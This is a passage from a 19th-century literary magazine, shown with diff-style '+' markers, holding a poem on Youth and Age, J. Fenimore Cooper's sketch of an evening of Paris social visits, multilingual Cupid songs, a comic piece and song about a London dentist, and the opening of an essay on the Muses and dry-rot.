+      Of AGE, and his sure companion CARE.
+
+    The courser black is put to his speed,
+      And Age plods on, in a quieter way,
+    And little Youth thinks that the iron-grey steed
+      Approaches him nearer, every day!
+
+    Though one seems strong as the forest tree,
+      The other infirm, and wanting breath;
+    _If ever_ YOUTH baffles OLD AGE, 'twill be
+      By rushing into the arms of DEATH!
+
+    On his courser black, away Youth goes,
+      The prosing sage may rest at home;
+    He'll laugh and quaff, for well he knows
+      That years must pass ere Age _can come_.
+
+    And since too brief are the daylight hours
+      For those who would laugh their lives away;
+    With beaming lamps, and mimic flowers,
+      He'll teach the night to mock the day!
+
+    Again he'll laugh, again he'll feast,
+      His lagging foe he'll still deride,
+    Until--when he expects him least--
+      Old Age and he stand side by side!
+
+    He then looks into his toilet-glass,
+      And sees Old Age reflected there!
+    He cries, "Alas! how quickly pass
+      Bright eyes, and bloom, and raven hair!"
+
+    The lord of the courser black, must ride
+      On the iron-grey steed, sedate and slow!
+    And thus to him who his power defied,
+      Old Age must come like a conquering foe.
+
+    Had the prosing sage not preach'd in vain,
+      Had Youth not written his words on sand,
+    Had he early paused, and given the rein
+      Of his courser black to a steadier hand:
+
+    Oh! just as gay might his days have been,
+      Though mirth with graver thoughts might blend;
+    And when at his side Old Age was seen,
+      He had been hail'd as a timely friend.
+
+
+
+
+                   AN EVENING OF VISITS.
+        BY J. FENIMORE COOPER, AUTHOR OF "THE PILOT."
+
+I have had an odd pleasure in driving from one house to another on
+particular evenings, in order to produce as strong contrasts as my
+limited visiting list will afford. Having a fair opportunity a few
+nights since, in consequence of two or three invitations coming in for
+the evening on which several houses where I occasionally called were
+opened, I determined to make a night of it, in order to note the effect.
+As A---- did not know several of the people, I went alone, and you may
+possibly be amused with an account of my adventures: they shall be told.
+
+In the first place I had to dress, in order to go to dinner at a house
+that I had never entered, and with a family of which I had never seen a
+soul. These are incidents which frequently come over a stranger, and,
+at first, were not a little awkward, but use hardens us to much greater
+misfortunes. At six, then, I stepped punctually into my _coupé_, and
+gave Charles the necessary number and street. I ought to tell you that
+the invitation had come a few days before, and, in a fit of curiosity,
+I had accepted it, and sent a card, without having the least idea who
+my host and hostess were, beyond their names. There was something
+piquant in this ignorance, and I had almost made up my mind to go in
+the same mysterious manner, leaving all to events, when happening in
+an idle moment to ask a lady of my acquaintance, and for whom I have a
+great respect, if she knew a Madame de ----, to my surprise her answer
+was, "Most certainly--she is my cousin, and you are to dine there
+to-morrow." I said no more, though this satisfied me that my hosts were
+people of some standing. While driving to their hotel, it struck me,
+under all the circumstances, it might be well to know more of them; and
+I stopped at the gate of a female friend who knows everybody, and who
+I was certain would receive me even at that unseasonable hour. I was
+admitted, explained my errand, and inquired if she knew a M. de ----.
+"Quelle question!" she exclaimed; "M. de ---- est Chancelier de la
+France!" Absurd, and even awkward, as it might have proved but for this
+lucky thought, I should have dined with the French Lord High Chancellor
+without having the smallest suspicion who he was!
+
+The hotel was a fine one, though the apartment was merely good; and
+the reception, service, and general style of the house were so simple,
+that neither would have awakened the least suspicion of the importance
+of my hosts. The party was small, and the dinner modest. I found the
+_Chancelier_ a grave dignified man, a little curious on the subject of
+America; and his wife, apparently a woman of great good sense, and, I
+should think, of a good deal of attainment. Every thing went off in the
+quietest manner possible, and I was sorry when it was time to go.
+
+From this dinner I drove to the hotel of the Marquis de Marbois, to
+pay a visit of digestion. M. de Marbois retires so early on account of
+his great age, that one is obliged to be punctual, or he will find the
+gate locked at nine. The company had got back into the drawing-room;
+and as the last week's guests were mostly there, as well as those who
+had just left the table, there might have been thirty people present,
+all of whom were men, but two. One of the ladies was Madame de Souza,
+known in French literature as the writer of several clever novels
+of society. In the drawing-room were grouped in clusters the Grand
+Referendary, M. Cuvier, M. Daru, M. Villemain, M. de Plaisance, Mr.
+Brown, and many others of note. There seemed to be something in the
+wind, as the conversation was in low confidential whispers, attended
+by divers ominous shrugs. This could only be politics; and, watching
+an opportunity, I questioned an acquaintance. The fact was really so.
+The appointed hour had come, and the ministry of M. de Villèle was in
+the agony. The elections had not been favourable, and it was expedient
+to make an attempt to reach the _old_ end by what is called a _new_
+combination. It is necessary to understand the general influence of
+political intrigues on certain _côteries_ of Paris, to appreciate the
+effect of this intelligence on a drawing-room filled like this, with men
+who had been actors in the principal events of France for forty years.
+The name of M. Cuvier was even mentioned as one of the new ministers.
+Comte Roy was also named as likely to be the new premier. I was told
+that this gentleman was one of the greatest landed proprietors of
+France, his estates being valued at four millions of dollars. The fact
+is curious, as showing, not on vulgar rumour, but from a respectable
+source, what is deemed a first-rate landed property in this country. It
+is certainly no merit, nor do I believe it is any very great advantage;
+but I think we might materially beat this, even in America. The company
+soon separated, and retired.
+
+From the Place de la Madeleine I drove to a house near the Carrousel,
+where I had been invited to step in, in the course of the evening. All
+the buildings that remain within the intended parallelogram, which will
+some day make this spot one of the finest squares in the world, have
+been bought by the government, or nearly so, with the intent to have
+them pulled down at a proper time; and the court bestows lodgings,
+_ad interim_, among them, on its favourites. Madame de ---- was one of
+these favoured persons, and she occupies a small apartment in the third
+story of one of these houses. The rooms were neat and well arranged,
+but small. Probably the largest does not exceed fifteen feet square.
+The approach to a Paris lodging is usually either very good or very
+bad. In the new buildings may be found some of the mediocrity of the
+new order of things; but in all those which were erected previously to
+the Revolution, there is nothing but extremes in this as in most other
+things,--great luxury and elegance, or great meanness and discomfort.
+The house of Madame de ---- happens to be of the latter class; and
+although all the disagreeables have disappeared from her own rooms, one
+is compelled to climb up to them through a dark well of a staircase, by
+flights of steps not much better than those we use in our stables. You
+have no notion of such staircases as those I had just descended in the
+hotels of the Chancelier and the Premier President;[18] nor have we any
+just idea, as connected with respectable dwellings of these I had now
+to clamber up. M. de ---- is a man of talents and great respectability,
+and his wife is exceedingly clever, but they are not rich. He is a
+professor, and she is an artist. After having passed so much of my youth
+on top-gallant-yards, and in becketting royals, you are not to suppose,
+however, I had any great difficulty in getting up these stairs, narrow,
+steep, and winding as they were.
+
+We are now at the door, and I have rung. On whom do you imagine the
+curtain will rise? On a _réunion_ of philosophers some to discuss
+questions in botany with M. de ----, or on artists assembled to talk over
+the troubles of their profession with his wife? The door opens, and I
+enter.
+
+The little drawing-room was crowded; chiefly with men. Two card-tables
+were set, and at one I recognised a party, in which were three dukes
+of the _vieille cour_, with M. de Duras at their head! The rest of the
+company was a little more mixed; but, on the whole, it savoured strongly
+of Coblentz and the _émigration_. This was more truly French than
+anything I had yet stumbled on. One or two of the grandees looked at me
+as if, better informed than Scott, they knew that General La Fayette
+had not gone to America to live. Some of these gentlemen certainly do
+not love us; but I had cut out too much work for the night to stay and
+return the big looks of even dukes, and, watching an opportunity when
+the eyes of Madame de ---- were another way, I stole out of the room.
+
+Charles now took his orders, and we drove down into the heart of the
+town, somewhere near the general post-office, or into those mazes of
+streets that near two years of practice have not yet taught me to
+thread. We entered the court of a large hotel that was brilliantly
+lighted; and I ascended, by a noble flight of steps, to the first floor.
+Ante-chambers communicated with a magnificent saloon, which appeared to
+be near forty feet square. The ceilings were lofty, and the walls were
+ornamented with military trophies, beautifully designed, and which had
+the air of being embossed and gilded. I had got into the hotel of one of
+Napoleon's marshals, you will say, or at least into one of a marshal
+of the old _régime_. The latter conjecture may be true, but the house
+is now inhabited by a great woollen manufacturer, whom the events of
+the day have thrown into the presence of all these military emblems. I
+found the worthy _industriel_ surrounded by a group, composed of men of
+his own stamp, eagerly discussing the recent changes in the government.
+The women, of whom there might have been a dozen, were ranged, like
+a neglected parterre, along the opposite side of the room. I paid my
+compliments, stayed a few minutes, and stole away to the next engagement.
+
+We had now to go to a little retired house on the Champs Elysées. There
+were only three or four carriages before the door, and on ascending to
+a small, but very neat apartment, I found some twenty people collected.
+The mistress of the house was an English lady, single, of a certain age,
+and a daughter of the Earl of ----, who was once governor of New York.
+Here was a very different set: one or two ladies of the old court, women
+of elegant manners, and seemingly of good information; several English
+women, pretty, quiet, and clever; besides a dozen men of different
+nations. This was one of those little _réunions_ that are so common in
+Paris among the foreigners, in which a small infusion of French serves
+to leaven a considerable batch of human beings from other parts of the
+world. As it is always a relief to me to speak my own language, after
+being a good while among foreigners, I stayed an hour at this house.
+In the course of the evening an Irishman of great wit and of exquisite
+humour, one of the paragons of the age in his way, came in. In the
+course of conversation, this gentleman, who is the proprietor of an
+Irish estate, and a Catholic, told me of an atrocity in the laws of his
+country of which until then I was ignorant. It seems that any younger
+brother, or next heir, might claim the estate by turning Protestant, or
+drive the incumbent to the same act. I was rejoiced to hear that there
+was hardly an instance of such profligacy known.[19] To what baseness
+will not the struggle for political ascendancy urge us!
+
+In the course of the evening, Mr. ----, the Irish gentleman, gravely
+introduced me to a Sir James ----, adding, with perfect gravity, "a
+gentleman whose father humbugged the Pope--humbugged infallibility."
+One could not but be amused with such an introduction, urged in a way
+so infinitely droll, and I ventured, at a proper moment, to ask an
+explanation, which, unless I was also humbugged, was as follows.
+
+Among the _détenus_ in 1804 was Sir William ----, the father of Sir
+James ----, the person in question. Taking advantage of the presence of
+the Pope at Paris, he is said to have called on the good-hearted Pius,
+with great concern of manner, to state his case. He had left his sons in
+England, and through his absence they had fallen under the care of two
+Presbyterian aunts; as a father he was naturally anxious to rescue them
+from this perilous situation. "Now, Pius," continued my merry informant,
+"quite naturally supposed that all this solicitude was in behalf of two
+orthodox Catholic souls, and he got permission from Napoleon for the
+return of so good a father to his own country,--never dreaming that the
+conversion of the boys, if it ever took place, would only be from the
+Protestant Episcopal Church of England to that of Calvin; or a rescue
+from one of the devil's furnaces to pop them into another." I laughed
+at this story, I suppose with a little incredulity; but my Irish friend
+insisted on its truth, ending the conversation with a significant nod,
+Catholic as he was, and saying--"humbugged infallibility!"
+
+By this time it was eleven o'clock; and as I am obliged to keep
+reasonable hours, it was time to go to _the_ party of the evening.
+Count ----, of the ---- Legation, gave a great ball. My carriage entered
+the line at the distance of near a quarter of a mile from the hotel;
+gensdarmes being actively employed in keeping us all in our places. It
+was half an hour before I was set down, and the quadrilles were in full
+motion when I entered. It was a brilliant affair,--much the most so, I
+have ever yet witnessed in a private house. Some said there were fifteen
+hundred people present. The number seems incredible; and yet, when one
+comes to calculate, it may be so. As I got into my carriage to go away,
+Charles informed me that the people at the gates affirm that more than
+six hundred carriages had entered the court that evening. By allowing
+an average of little more than two to each vehicle, we get the number
+mentioned.
+
+I do not know exactly how many rooms were opened on this occasion, but
+I should think there were fully a dozen. Two or three were very large
+_salons_; and the one in the centre, which was almost at fever heat,
+had crimson hangings, by way of cooling one. I have never witnessed
+dancing at all comparable to that of the quadrilles of this evening.
+Usually there is either too much or too little of the dancing-master,
+but on this occasion every one seemed inspired with a love of the art.
+It was a beautiful sight to see a hundred charming young women, of the
+first families of Europe,--for they were there, of all nations, dressed
+with the simple elegance that is so becoming to the young of the sex,
+and which is never departed from here until after marriage,--moving in
+perfect time to delightful music, as if animated by a common soul. The
+men, too, did better than usual, being less lugubrious and mournful than
+our sex is apt to be in dancing. I do not know how it is in private, but
+in the world, at Paris, every young woman seems to have a good mother;
+or, at least, one capable of giving her both a good tone and good taste.
+
+At this party I met the ----, an intimate friend of the ambassador,
+and one who also honours me with a portion of her friendship. In
+talking over the appearance of things, she told me that some hundreds
+of _applications for invitations_ to this ball had been made.
+"Applications! I cannot conceive of such meanness. In what manner?"
+"Directly; by note, by personal intercession--almost by tears. Be
+certain of it, many hundreds have been refused." In America we hear
+of refusals to go to balls, but we have not yet reached the pass of
+sending refusals to invite! "Do you see Mademoiselle ----, dancing in
+the set before you?" She pointed to a beautiful French girl whom I had
+often seen at her house, but whose family was in a much lower station in
+society than herself. "Certainly; pray how came _she_ here?" "I brought
+her. Her mother was dying to come, too, and she begged me to get an
+invitation for her and her daughter; but it would not do to bring the
+mother to such a place, and I was obliged to say no more tickets could
+be issued. I wished, however, to bring the daughter, she is so pretty;
+and we compromised the affair in that way." "And to this the mother
+assented!" "Assented! How can you doubt it? What funny American notions
+you have brought with you to France!"
+
+I got some droll anecdotes from my companion, concerning the ingredients
+of the company on this occasion, for she could be as sarcastic as she
+was elegant. A young woman near us, attracted attention by a loud
+and vulgar manner of laughing. "Do you know that lady?" demanded my
+neighbour. "I have seen her before, but scarcely know her name." "She
+is the daughter of your acquaintance, the Marquise de ----." "Then she
+is, or was, a Mademoiselle de ----." "She is not, nor properly ever was,
+a Mademoiselle de ----. In the Revolution the Marquis was imprisoned by
+you wicked republicans, and the Marquise fled to England, whence she
+returned, after an absence of three years, bringing with her this young
+lady, then an infant a few months old." "And Monsieur le Marquis?" "He
+never saw his daughter, having been beheaded in Paris, about a year
+before her birth." "_Quel contre-temps!_" "_N'est-ce pas?_"
+
+It is a melancholy admission, but it is no less true, that good breeding
+is sometimes quite as active a virtue as good principles. How many more
+of the company present were born about a year after their fathers were
+beheaded, I have no means of knowing, but had it been the case with all
+of them, the company would have been of as elegant demeanour, and of
+much more _retenue_ of deportment, than we are accustomed to see, I will
+not say in _good_, but certainly in _general_ society, at home. One of
+the consequences of good breeding is also a disinclination, positively
+a distaste, to pry into the private affairs of others. The little
+specimen to the contrary, just named, was rather an exception, owing to
+the character of the individual, and to the indiscretion of the young
+lady in laughing too loud; and then the affair of a birth so _very_
+posthumous was rather too _patent_ to escape all criticism.
+
+My friend was in a gossiping mood this evening, and, as she was well
+turned of fifty, I ventured to continue the conversation. As some of the
+_liaisons_ which exist here must be novel to you, I shall mention one or
+two more.
+
+A Madame de J---- passed us, leaning on the arm of M. de C----. I knew
+the former, who was a widow; had frequently visited her, and had been
+surprised at the intimacy which existed between her, and M. de C----,
+who always appeared quite at home in her house. I ventured to ask my
+neighbour if the gentleman were the brother of the lady. "Her brother!
+It is to be hoped not, as he is her husband." "Why does she not bear
+his name, if that be the case?" "Because her first husband is of a more
+illustrious family than her second; and then there are some difficulties
+on the score of fortune. No, no. These people are _bonâ fide_ married.
+_Tenez_--do you see that gentleman who is standing so assiduously near
+the chair of Madame de S----? He who is all attention and smiles to the
+lady?" "Certainly: his politeness is even affectionate." "Well, it ought
+to be, for it is M. de S----, her husband." "They are a happy couple,
+then." "_Hors de doute_: he meets her at _soirées_ and balls; is the
+pink of politeness; puts on her shawl; sees her safe into her carriage,
+and----" "Then they drive home together, as loving as Darby and Joan."
+"And then he jumps into his _cabriolet_, and drives to the lodgings
+of ----. _Bon soir, monsieur_----; you are making me fall into the vulgar
+crime of scandal."
+
+Now, much as all this may sound like invention, it is quite true that
+I repeat no more to you than was said to me, and no more than what I
+believe to be the fact. As respects the latter couple, I have been
+elsewhere told that they literally never see each other except in
+public, where they constantly meet as the best friends in the world.
+
+I was lately in some English society, when Lady G---- bet a pair of
+gloves with Lord R---- that he had not seen Lady R---- for a fortnight.
+The bet was won by the gentleman, who proved satisfactorily that he had
+met his wife at a dinner party only ten days before.
+
+After all I have told you, and all that you may have heard from others,
+I am nevertheless inclined to believe that the high society of Paris is
+quite as exemplary as that of any other large European town. If we are
+any better ourselves, is it not more owing to the absence of temptation,
+than to any other cause? Put large garrisons into our towns, fill the
+streets with idlers who have nothing to do but to render themselves
+agreeable, and with women with whom dress and pleasure are the principal
+occupations, and then let us see what Protestantism and liberty will
+avail us in this particular. The intelligent French say that their
+society is improving in morals. I can believe this assertion, of which I
+think there is sufficient proof by comparing the present with the past,
+as the latter has been described to us. By the past, I do not mean the
+period of the Revolution, when vulgarity assisted to render vice still
+more odious--a happy union, perhaps, for those who were to follow,--but
+the days of the old _régime_. Chance has thrown me in the way of three
+or four old dowagers of that period, women of high rank, and still in
+the first circles, who, amid all their _finesse_ of breeding, and ease
+of manner, have had a most desperate _rouée_ air about them. Their very
+laugh, at times, has seemed replete with a bold levity that was as
+disgusting as it was unfeminine. I have never, in any other part of the
+world, seen loose sentiments _affichés_, with more effrontery. These
+women are the complete antipodes of the quiet, elegant Princesse de ----,
+who was at Lady ---- ----'s this evening; though some of them write
+_Princesses_ on their cards, too.
+
+The influence of a court must be great on the morals of those who
+live in its purlieus. Conversing with the Duc de ----, a man who has
+had general currency in the best society of Europe, on this subject,
+he said,--"England has long decried our manners. Previously to the
+Revolution, I admit they were bad; perhaps worse than her own; but I
+know nothing in our history so bad as what I have witnessed in England.
+The King invited me to dine at Windsor. I found every one in the
+drawing-room, but his Majesty and Lady ----. She entered but a minute
+before him, like a queen. Her reception was that of a queen; young,
+unmarried females kissed her hand. Now, all this might happen in France,
+even now; but Louis XV, the most dissolute of our monarchs, went no
+farther. At Windsor, I saw the husband, sons, and daughters of the
+favourite, in the circle! _Le parc des Cerfs_ was not as bad as this."
+
+"And yet, M. de ----, since we are conversing frankly, listen to what
+I witnessed, but the other day, in France. You know the situation of
+things at St. Ouen, and the rumours that are so rife. We had the _fête
+Dieu_ during my residence there. You, who are a Catholic, need not be
+told that your sect believe in the doctrine of the 'real presence.'
+There was a _reposoir_ erected in the garden of the _château_, and God,
+in person, was carried, with religious pomp, to rest in the bowers of
+the ex-favourite. It is true, the husband was not present: he was only
+in the provinces!"
+
+"The influence of a throne makes sad parasites and hypocrites,"
+said M. de ----, shrugging his shoulders.
+
+"And the influence of the people, too, though in a different way. A
+courtier is merely a well-dressed demagogue."
+
+"It follows, then, that man is just a poor devil."
+
+But I am gossiping away with you, when my Asmodean career is ended;
+and it is time I went to bed. Good night!
+
+[18] M. de Marbois was the first president of the Court of Accounts.
+
+[19] I believe this infamous law, however, has been repealed.
+
+
+
+
+        METASTASIO.
+
+             I.
+        _La Signora._
+    Chi sei tu? Chi sei tu?
+      Dimmi piccolo fanciullo,
+    Sempr' andante sù et giù
+      Sospirando fra 'l trastullo.
+
+          _Cupid._
+    Son Cupidon' in verità
+      Rè de' burle leggiadre.
+
+          _La Sig._
+    Dunque dì per carità,
+      Come stia, tua madre?
+    Senz' arco così, perchè?
+      Dove sono le saiette?
+    La faretra poi dov' è?
+      Sembianze son sospette--
+          Chi sei tu?
+
+            II.
+          _La Sig._
+    Chi sei tu? chi sei tu?
+      Arme c'eran altre volte.
+
+          _Cupid._
+    Giovan' ELLA non è più
+      Mi furon' allora tolte.
+
+          _La Sig._
+    E la torcia, perchè, dì,
+      Hai voluto tu lasciare?
+
+          _Cupid._
+    Cuori signor' oggidì
+      Più non vogliono bruciare.
+
+          _La Sig._
+      Tu rispondermi così
+    Fanciulletto! che vergogna!
+      O! sei cambiato, sì,
+    Ate dunque dir' bisogna
+        "CHI SEI TU?"
+
+
+         FONTENELLE.
+
+              I.
+          _La Dame._
+      Qui es tu? Qui es tu?
+    Bel enfant aux gais sourires,
+      Toi qui cours tout devtu,
+    Et ris parfois, parfois soupires?
+
+          _Cupidon._
+    Dame, je suis Cupidon
+      Dieu d'amour, fils à CITHERE.
+
+          _La Dame._
+    Bel enfant, eh, dis moi donc
+      Comment va, VENUS, ta mere?
+        Cette fois, sans carquois
+      Je te vois avec surprise,
+        Cupidon, est il donc
+      Etonnant que l'on te dise
+          Qui es tu?
+
+              II.
+          _La Dame._
+    Qui es tu? Qui es tu?
+      Qu'a tu donc fait de tes armes,
+    De tes traits de fer pointu ...?
+
+          _Cupidon._
+    De _vos_ traits ... où sont les charmes?
+
+    Vous votre beau, moi mon flambeau
+      Ensemble nous lâchâmes:
+
+    Or, plus d'espoir helas! de voir
+    Pour nous les coeurs en flammes!
+
+          _La Dame._
+      Petit enfant, c'est peu galant
+    D'user pareil langage;
+      Pas étonnant que maintenant
+    Chacun dise au village
+          "QUI EST TU?"
+
+
+          SAM. LOVER.
+
+  * *  This song has been set to music
+   *   by Mr. Lover, and is published.
+
+    "Who are you?--Who are you?
+      Little boy that's running after
+    Ev'ry one up and down,
+      Mingling sighing with your laughter?"
+
+    "I am Cupid, lady belle,
+      I am Cupid, and no other."
+
+    "Little boy, then pr'ythee tell
+      How is Venus? How's your mother?
+    Little boy, little boy,
+      I desire you tell me true:
+    Cupid, oh! you're alter'd so,
+      No wonder I cry _Who are you?_"
+
+              II.
+    "Who are you?--Who are you?
+      Little boy, where is your bow?
+    You had a bow, my little boy."
+
+      "So had you, ma'am, long ago."
+
+    "Little boy, where is your torch?"
+      "Madam, I have given it up:
+
+    Torches are no use at all;
+      Hearts will never now _flare up_."
+
+    "Naughty boy, naughty boy,
+      Such words as these I never knew:
+    Cupid, oh! you're alter'd so,
+      No wonder I say
+          "WHO ARE YOU?"
+
+
+          _WHO ARE YOU?_
+
+"There are very impudent people in London," Said young Ben. "As I passed
+down Arlington-street a fellow stared at me and shouted 'Who are you?'
+Five minutes after, another passing me cried 'Flare up!' but a civil
+gentleman close to his heels kindly asked 'How is your mother?'
+_Vivian Grey._
+
+  [Illustration]
+
+"Il y a certaines façons de parler dans toutes les langues de l'Europe,
+que l'on retrouve partout dans la bouche du vulgaire. A cette classe
+apparsions "_Qui es tu?_" "_Comment va ta mere?_" En Italie comme
+en France on n'entend que ça."--L'Abbé Bossu _sur les idiotismes du
+langage_.
+
+
+
+
+              METROPOLITAN MEN OF SCIENCE.
+
+                        No. I.
+
+The author of the exploits of _Brown Bess_ and of _The Admirable
+Crichton_ has announced his intention of _editing_ "_The Lions of
+London_," a task of no ordinary description; and _Boz_ has already
+chronicled the slang, humour, peculiarities, and vices of the omnibus
+cads and cab-drivers. Pierce Egan, after uttering a vulgar forgery
+of _Life in London_, has in a repentant fit announced himself as
+"_A Pilgrim of the Thames_;" and, in short, the wonders of this
+wondrous metropolis are drawn, depicted, coloured, printed, narrated,
+represented, in every possible shape and way to the town and country
+public. All this we know: but we know more; we know that there are
+_the_ places, _the_ scenes, and _the_ characters to be visited, and
+contemplated, and admired in town, which will be omitted to be noticed
+by any of our pleasant historians; but which are, of all others, worthy
+of sincere regard and periodical immortality! In the East, according to
+the letters of Lady Mary Wortley Montagu, the corner of the Kiosk was
+the distinguished place of honour; and may we not conduct our readers to
+corners and by-places, and "show their eyes and grieve their hearts?"
+We have for some time felt a great anxiety to exhibit to our readers
+a few remarkable features of society, or rather to introduce them to
+Those who are connected with those features. All know, and yet all do
+not intimately and in particular know, many of our great scientific
+humanists, as connected with particular departments of our precious
+faces or heads; but we long, we thirst, to be the chroniclers of
+
+          Mr. A. and the eye,
+          Mr, B. and the ear,
+          Mr. C. and the nose,
+          Mr. D. and the teeth,
+              &c. &c. &c.
+
+Some of our readers will think we are about to publish the works of
+_Head_ in the usual popular monthly series; but we see no reason why old
+Burton should have it all to himself, and why a pleasant anatomy (which
+must be an anatomy of pleasure) should not compete with the Anatomy of
+Melancholy!
+
+We shall at once begin our agreeable task, and as it is _biting_
+weather, we will immediately come to Mr. D. and the teeth, than whom
+a more amiable, honourable, or generous man, or a more decisive and
+perfect artist, does not exist. Persons may think that his abode is a
+mere place where drops of laudanum are dropped into wretched receptacles
+of pain; or where bits of yellow double ivory are lugged out, as though
+the teeth were dancing the hays in Hayes Court. No such thing! The house
+is a palace! The man is a magician over the unruly spirit of teeth! The
+arrangements are pleasant, touching, and delightful; and the operations
+are rare and fascinating surprises, which no person with a discoloured
+concave, or suspicious fang, ought to neglect! What a mansion! What an
+artist! What a deathless D.!
+
+I do not know when I have experienced more of ease and pleasure than I
+did in the capacious and comfortable ante-room; for I had, to speak the
+truth, accompanied a friend who had the tooth-ache, and I saw around
+me, various respectable objects of pang and pity, who were about to
+have that salutary relief given to them, which the new poor-law has
+directed to other poor devils, and which is derived from their _being
+taken into the house_! One by one was beckoned out by the porter to the
+relieving officer, and nothing could be more interesting or effective
+than the departure of patient after patient, "with a muffled drum" for a
+head, and who, as soon as the door closed, was "heard no more of!" What
+luxury marks this apartment! The handles of the doors are a complete
+set of ivories; and, indeed, the whole interior is one scene of mingled
+splendour and comfort. Let our readers, as Brutus says, "_chew_ upon
+this!" A large table stands in the room, covered with every work that
+the imagination can devise, for the amusement and satisfaction of the
+attentive reader. The students, however, in this room, are not so steady
+and intent over their books as are the visitors to the library of the
+British Museum; but they snatch a little agreeable reading by fits and
+starts, and take up a very tolerable number of volumes and pamphlets,
+and put them down in a remarkably short compass of time. The person to
+whom the selection of this entertaining library has been entrusted,
+has executed his task with discretion, fidelity, and spirit; and we
+were pleased to notice, as we jotted down in our memorandum-book the
+names of the most attractive of the works, how much he had endeavoured
+to collect together, pages that should tend to soothe, beguile, and
+cheer the casual visitor of the place. First we had "_Paine's Age of
+Reason_"--a book calculated for those in whom pain and reason are so
+invariably connected. Then we had "Sass's Drawings of the Human Figure;"
+"The Sufferings of the Early Martyrs;" "History of the Inquisition,
+with Prints of the Screws and Instruments of Torture;" "Lardner on the
+Lever;" "Coulson on Distortions, &c." "Tracts on Tumours;" "Montgomery's
+Omnipresence;" "Five Minutes' Advice on the Care of the Teeth;" "The
+Lancet;" and "_Elegant Extracts_." There is no refreshment ready in
+_this_ room, except that which is derived by the person who comes to
+have his or her teeth "looked at," contemplating a near chair-neighbour
+who is about to part with one of those useful inmates, which, like
+all other domestics, get troublesome as they get older, and finally
+lose their places from becoming in themselves perfectly unbearable!
+The passages and galleries are magnificent--rows of pillars of the
+_Tuscan_ order are in even sets, and in perfect order and keeping! On
+the staircase, which is of marble, stands a superb clock, which _throbs_
+the time very awfully; and the suite of rooms on the first floor is, as
+the visitors cannot but admit, of the most costly order. Refreshments
+are here constantly spread before the lingerer, tempting those (who
+have not had a wink of sleep for weeks) to eat and enjoy themselves.
+In this house one thing is remarkable, and I think it tends to confuse
+the mind,--"the drawing-room" is on the ground-floor! Here the soothing
+sorcerer over anguish and horror--receives his visitors; and here,
+indeed, he sees company in due state. I merely took a glimpse at this
+room, which was by no means so provocative of curiosity to me as was the
+blue chamber to that of Fatima's.
+
+A few _mems_ must close this weak and impotent description:--a few
+recollections snatched amidst the fascination of the whole place! We
+observed that the mode in which our artist expelled a troublesome
+_double enemy_ put an end to the usual interpretation of Zanga's famous
+exclamation,
+
+      "The flesh _will_ follow where the pincers tear!"
+
+The _pincers_ might be used, but the flesh did _not_ follow,--the
+eye-tooth came out as clean as a smelt. Mr. D. had several pictures
+in _enamel_, which were much to be valued; and he had in his hall
+a portrait by the late Sir Thomas Lawrence of Mr. Cartwright--and
+likenesses by _H. B._ in one of his closets, of Howard, Imrie, Sanford,
+Clarke, Jones, Parkinson, Hayes, Biggs, Rogers, &c. &c. which are
+allowed to be, by all observers, admirable works of art. There is a
+slight attempt at _Mallan_ in _mineral succedaneum_, which appears to be
+falling away--we will not say decaying.
+
+One nuisance there is, and we cannot as honest historians pass it
+over; the street, in which our D. lives, is disturbed, distracted, by
+an excess of music, amounting, arising indeed, into a decided case
+of "_organic_ disease." The _grinders_ making a point--it would seem
+a pointed point--of showing themselves in the very front of that
+building,--which is opposed to anything defective in the front!
+
+As we were about to depart from this attractive spot--not
+_spot_--place,--we saw Charles Taylor or Tom Cooke slipping away with
+every tooth perfect, and yet not without a _falsetto_. Some musical wag
+however still remained, and by permission of the butler (a _drawer_ of
+corks in large practice) we were allowed to hear the following song; and
+we shall print it at once without comment, explanation, or excuse,
+
+    "For, oh! Sir Thomas's own sonnet
+    Beats all that we can say upon it."
+
+
+
+
+                           SONG,
+           For the Private Theatre or the _Drawing_-room.
+  _Air--Not_ "Pull away, pull away, pull away, my hearties!"--DIBDIN.
+
+    Oh! this is the house for effects and for scenes,--
+    What is Drury, Ducrow's, Covent Garden, the Queen's?
+    Success at the one or the other will pause,
+    But in this house the manager constantly _draws_.--
+                Then let the Muse _be_ at her
+                Home, in this theatre;
+    Gain here, and glory, go snacks in applause.
+
+    The crowds that come here, made of Beauty and Ninny,
+    Take--each takes a seat in the stall for a guinea;
+    Our great managerial actor then bows,
+    And, oh! with what pleasure he views _the front rows_!
+                                     Then let, &c.
+
+    At the Opera they boast of the band and the _chori_,
+    Of Lindley,--of Balfe,--Dragonetti, and Mori;
+    But here finished art, perfect touch, take their station,
+    For who beats our hero in _instrumentation_?
+                                     Then let, &c.
+
+    There's _Richard the Third_ is a favourite part,
+    And he mouths it, like some of our players, by heart;
+    But remember that Gloster, when first he drew breath,
+    Was shaped like a _screw_--with a _full set of teeth_.
+                                     Then let, &c.
+
+    Macbeth may effectively fall to his lot,
+    For where's such an artist for "_Out_, damned _spot_!"
+    And we see, where those old annotators were blind,--
+    For the issue of Duncan, why he _filed_ his mind.
+                                     Then let, &c.
+
+    He does not play Lear (Forrest does--so does Booth),
+    For he thinks the "How sharper!" is wrong on the _tooth_!
+    His company's good, else why full stall and bench?
+    But, though he likes _Power_, he won't hear of _Wrench_!
+                                     Then let, &c.
+
+    Through pieces--light farce--Fame our favorite then next tracks,--
+    Single acts, single scenes, pungent touches, smart extracts!
+    With Colman's Review, too, he's coupled by some,
+    For he, like John Lump, gets a "guinea _by Gum_!"
+                                     Then let, &c.
+
+    Then, with riches at will, oh! how liberal the lord
+    Of this mansion is found at the banquet and board!
+    Still, though wealth comes from east and from west, north and south,
+    Yet some _will_ say he lives but from mere _hand to mouth_!
+                                     Then let, &c.
+
+    But cautious he should be,--though bright be the day,--
+    For he knows, best of any, the works of decay;
+    And he ne'er should forget, in this splendid--this top age,
+    That when he _won't_ draw, he inclines then to _stoppage_.
+                                     Then let, &c.
+
+    But long may he flourish--long, long here preside,
+    To give "harmless pleasure" to thousands beside!
+    Age is baffled by him,--we're still rich,--let it fret!
+    Oh! if hundreds are lost, we can have a _new set_!
+                                     Then let, &c. R.
+
+
+
+
+         KYAN'S PATENT--THE NINE MUSES,--AND THE DRY-ROT.
+
+   "That which is most elaborate in nature is that which soonest
+     runs to decay."                                    FARADAY.
+
+The Muses, to their infinite disgrace as useful members of society,
+have for centuries been devoting their time to the sun, the moon, the
+stars, flowers, lips, hair, love, "kisses, tears, and smiles;" in short,
+to objects of mere enjoyment and beauty; greatly to the delight, it
+must be confessed, of the young and the romantic, but tending to no
+wise and useful purpose, and contributing to no profitable end. The
+long luxurious indolence of these nine inestimable young ladies for so
+many, many years, does appear to us to cast no slight shade upon their
